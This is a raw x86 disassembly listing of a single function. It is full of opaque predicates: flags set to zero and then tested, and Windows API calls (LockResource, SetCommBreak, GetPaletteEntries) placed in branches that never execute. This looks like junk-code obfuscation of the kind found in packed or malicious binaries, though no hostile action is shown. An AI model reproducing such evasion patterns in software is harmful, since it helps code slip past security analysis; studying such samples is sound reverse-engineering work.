cmp eax, dword [ebp - 0x344]
jle 0x1004f357
mov dword [ebp - 0x34c], 1
jmp 0x1004f35e
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
jmp 0x1004f28c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x480]
call fcn.10011fc3
push dword [ebp - 0x140]
mov edx, 0x10662fcc
mov ecx, dword [ebp - 0x3f4]
call fcn.1004cc53
pop ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xf8], 4
mov dword [ebp - 0x424], 0xfffffff8
mov byte [ebp - 0x3d], 0
movzx eax, byte [ebp - 0x3d]
test eax, eax
je 0x1004f3c4
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp - 0x10], 0
jne 0x1004f4b5
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jg 0x1004f3ee
cmp dword [ebp - 0x10], 0
je 0x1004f3ee
cmp dword [ebp - 0x10], 0
je 0x1004f3ee
mov dword [ebp - 0x35c], 1
jmp 0x1004f3f5
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x35c], eax
jne 0x1004f412
cmp dword [ebp - 0x10], 0
je 0x1004f412
mov dword [ebp - 0x364], 1
jmp 0x1004f419
and dword [ebp - 0x364], 0
imul eax, dword [ebp - 0x364], 0xffff
cmp eax, dword [ebp - 0x10]
jne 0x1004f434
mov dword [ebp - 0x36c], 1
jmp 0x1004f43b
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x36c]
jne 0x1004f452
mov dword [ebp - 0x374], 1
jmp 0x1004f459
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x374], eax
jne 0x1004f470
mov dword [ebp - 0x3fc], 1
jmp 0x1004f477
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x10], 0xffffffff
jl 0x1004f492
mov dword [ebp - 0x404], 1
jmp 0x1004f499
and dword [ebp - 0x404], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1004f4b5
and dword [ebp - 0x37c], 0
jmp 0x1004f4bf
mov dword [ebp - 0x37c], 1
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0x37c]
test eax, eax
jne 0x1004f4d5
xor eax, eax
inc eax
je 0x1004f51a
mov dword [ebp - 0x40c], 0xffffffff
mov dword [ebp - 0x10], 0
jmp 0x1004f4ef
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffffe
je 0x1004f50b
mov byte [ebp - 0x52], 0
movzx eax, byte [ebp - 0x52]
test eax, eax
je 0x1004f509
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
jmp 0x1004f4e8
mov dword [ebp - 0x40c], 0xeab3ae5d
jmp 0x1004f5e8
mov dword [ebp - 0x148], 0x6309
mov dword [ebp - 0x41c], 0xeeb4
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x10], 0
je 0x1004f555
mov eax, 0xcf7a0211
test eax, eax
je 0x1004f555
mov dword [ebp - 0x384], 1
jmp 0x1004f55c
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x148], eax
jne 0x1004f582
mov dword [ebp - 0x414], 1
jmp 0x1004f589
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x41c]
cmp dword [ebp - 0x10], eax
jl 0x1004f5b5
cmp dword [ebp - 0x148], 0
je 0x1004f5b5
mov dword [ebp - 0x38c], 1
jmp 0x1004f5bc
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x424], eax
mov byte [ebp - 0x45], 0
movzx eax, byte [ebp - 0x45]
test eax, eax
je 0x1004f5e8
push 0
push 0x24d7
push 0xf90
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov esi, 0x10662d90
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret